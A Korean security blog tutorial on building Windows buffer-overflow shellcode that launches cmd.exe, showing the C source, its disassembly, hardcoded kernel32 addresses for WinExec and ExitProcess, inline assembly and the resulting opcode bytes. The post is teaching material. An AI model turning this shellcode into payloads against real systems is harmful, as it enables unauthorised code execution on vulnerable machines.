본문 바로가기

Computer Security/System Security

BOF : 쉘 코드

#include <windows.h>
void main(){
 char cmd[] = {'c','m','d','.','e','x','e','\0'}; 
 //문자는 코드영역이므로 데이터영역에 있는 문자열이 아닌 문자를 사용
 WinExec(cmd,SW_SHOW); 
 //이 프로그램을 실행해달라는..(System())
 ExitProcess(0);   
 //exit(); 취약한 프로그램에서 실행했을 때 그 기능에 수행되도록 표준함수가 아닌 windows api 함수를 사용
}

 

* 정적링크 : 프로그램 내에 코드가 전부 들어있어야 (ex : 표준함수)

동적링크 : 프로그램 내에 코드가 들어있지 않고 dll에서 불러옴

 

 

 

#include <windows.h>
2:    void main(){
00401010   push        ebp
00401011   mov         ebp,esp
00401013   sub         esp,48h
00401016   push        ebx
00401017   push        esi
00401018   push        edi
00401019   lea         edi,[ebp-48h]
0040101C   mov         ecx,12h
00401021   mov         eax,0CCCCCCCCh
00401026   rep stos    dword ptr [edi]
3:        char cmd[] = {'c','m','d','.','e','x','e','\0'};
00401028   mov         byte ptr [ebp-8],63h
0040102C   mov         byte ptr [ebp-7],6Dh
00401030   mov         byte ptr [ebp-6],64h
00401034   mov         byte ptr [ebp-5],2Eh
00401038   mov         byte ptr [ebp-4],65h
0040103C   mov         byte ptr [ebp-3],78h
00401040   mov         byte ptr [ebp-2],65h
00401044   mov         byte ptr [ebp-1],0
4:        //문자는 코드영역이므로 데이터영역에 있는 문자열이 아닌 문자를 사용
5:        WinExec(cmd,SW_SHOW);
00401048   mov         esi,esp
0040104A   push        5
0040104C   lea         eax,[ebp-8]
0040104F   push        eax
00401050   call        dword ptr [__imp__WinExec@8 (0042a150)]
00401056   cmp         esi,esp
00401058   call        __chkesp (004010b0)
6:        //이 프로그램을 실행해달라는..(System())
7:        ExitProcess(0);
0040105D   mov         esi,esp
0040105F   push        0
00401061   call        dword ptr [__imp__ExitProcess@4 (0042a14c)]
00401067   cmp         esi,esp
00401069   call        __chkesp (004010b0)
8:        //exit(); 취약한 프로그램에서 실행했을 때 그 기능에 수행되도록 표준함수가 아닌 windows api 함수를 사용
9:    }

// : 지울부분

 

 

 


00401010   push        ebp
00401011   mov         ebp,esp
00401013   sub         esp,48h


00401028   mov         byte ptr [ebp-8],63h
0040102C   mov         byte ptr [ebp-7],6Dh
00401030   mov         byte ptr [ebp-6],64h
00401034   mov         byte ptr [ebp-5],2Eh
00401038   mov         byte ptr [ebp-4],65h
0040103C   mov         byte ptr [ebp-3],78h
00401040   mov         byte ptr [ebp-2],65h
00401044   mov         byte ptr [ebp-1],0


0040104A   push        5
0040104C   lea         eax,[ebp-8]
0040104F   push        eax
00401050   call        dword ptr [__imp__WinExec@8 (0042a150)]  //--> 실제 주소로 바꿔줘야(by dependance walker)

0040105F   push        0
00401061   call        dword ptr [__imp__ExitProcess@4 (0042a14c)]

* c:\windows\system32\kernel32.dll ===> 열어서 WinExec 함수 찾음 ==>주소계산해서 넣음

 

 


push        ebp
mov         ebp,esp
sub         esp,48h


mov         byte ptr [ebp-8],63h
mov         byte ptr [ebp-7],6Dh
mov         byte ptr [ebp-6],64h
mov         byte ptr [ebp-5],2Eh
mov         byte ptr [ebp-4],65h
mov         byte ptr [ebp-3],78h
mov         byte ptr [ebp-2],65h
mov         byte ptr [ebp-1],0


push        5
lea         eax,[ebp-8]
push        eax
mov     eax, 0x7c8623ad
call        eax

push        0
mov     eax, 0x7c81cafa
call        eax



#include <stdio.h>

void main(){

__asm

{

push        ebp

mov         ebp,esp

sub         esp,48h



mov         byte ptr [ebp-8],63h

mov         byte ptr [ebp-7],6Dh

mov         byte ptr [ebp-6],64h

mov         byte ptr [ebp-5],2Eh

mov         byte ptr [ebp-4],65h

mov         byte ptr [ebp-3],78h

mov         byte ptr [ebp-2],65h

mov         byte ptr [ebp-1],0



push        5

lea         eax,[ebp-8]

push        eax

mov     eax, 0x7c8623ad

call        eax


push        0

mov     eax, 0x7c81cafa

call        eax

}

}



00401028 55                   push        ebp

00401029 8B EC                mov         ebp,esp

0040102B 33 C0                xor         eax,eax

0040102D 50                   push        eax

0040102E 50                   push        eax

0040102F C6 45 F8 63          mov         byte ptr [ebp-8],63h

00401033 C6 45 F9 6D          mov         byte ptr [ebp-7],6Dh

00401037 C6 45 FA 64          mov         byte ptr [ebp-6],64h

0040103B C6 45 FB 2E          mov         byte ptr [ebp-5],2Eh

0040103F C6 45 FC 65          mov         byte ptr [ebp-4],65h

00401043 C6 45 FD 78          mov         byte ptr [ebp-3],78h

00401047 C6 45 FE 65          mov         byte ptr [ebp-2],65h

0040104B 6A 05                push        5

0040104D 8D 45 F8             lea         eax,[ebp-8]

00401050 50                   push        eax

00401051 B8 AD 23 86 7C       mov         eax,7C8623ADh

00401056 FF D0                call        eax

00401058 6A 01                push        1

0040105A B8 FA CA 81 7C       mov         eax,7C81CAFAh

0040105F FF D0                call        eax

 

'Computer Security > System Security' 카테고리의 다른 글

registry 편집 소스코드(마우스속도변경)  (0) 2014.04.18
루트킷(Rootkit)  (0) 2014.04.17
Process & Thread  (0) 2014.04.16
리눅스의 권한상승용 백도어  (0) 2014.04.16
대입공격 개요  (0) 2014.04.15